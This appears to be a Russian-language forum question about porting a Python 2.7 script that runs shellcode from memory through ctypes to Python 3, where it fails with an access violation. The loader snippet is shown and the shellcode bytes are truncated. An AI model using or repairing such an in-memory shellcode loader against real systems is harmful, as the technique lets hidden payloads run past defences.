Запуск шеллкода на питоне 3?
В настоящее время я пытаюсь перенести скрипт Python с 2.7 на 3.4.2. скрипт должен быть в состоянии запустить шеллкод из памяти.
from ctypes import *
shell = b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\..."
createbuffer= create_string_buffer(shell, len(shell))
shellcode = cast(createbuffer, CFUNCTYPE(c_void_p))
shellcode()
Это самый близкий к запуску шеллкод на Python 3, и он просто оставляет меня с:
OSError: exception: access violation writing 0x0099....
Имейте в виду, что этот скрипт работает на 100% нормально с 2.7, поэтому я не понимаю, почему его нельзя перенести на 3.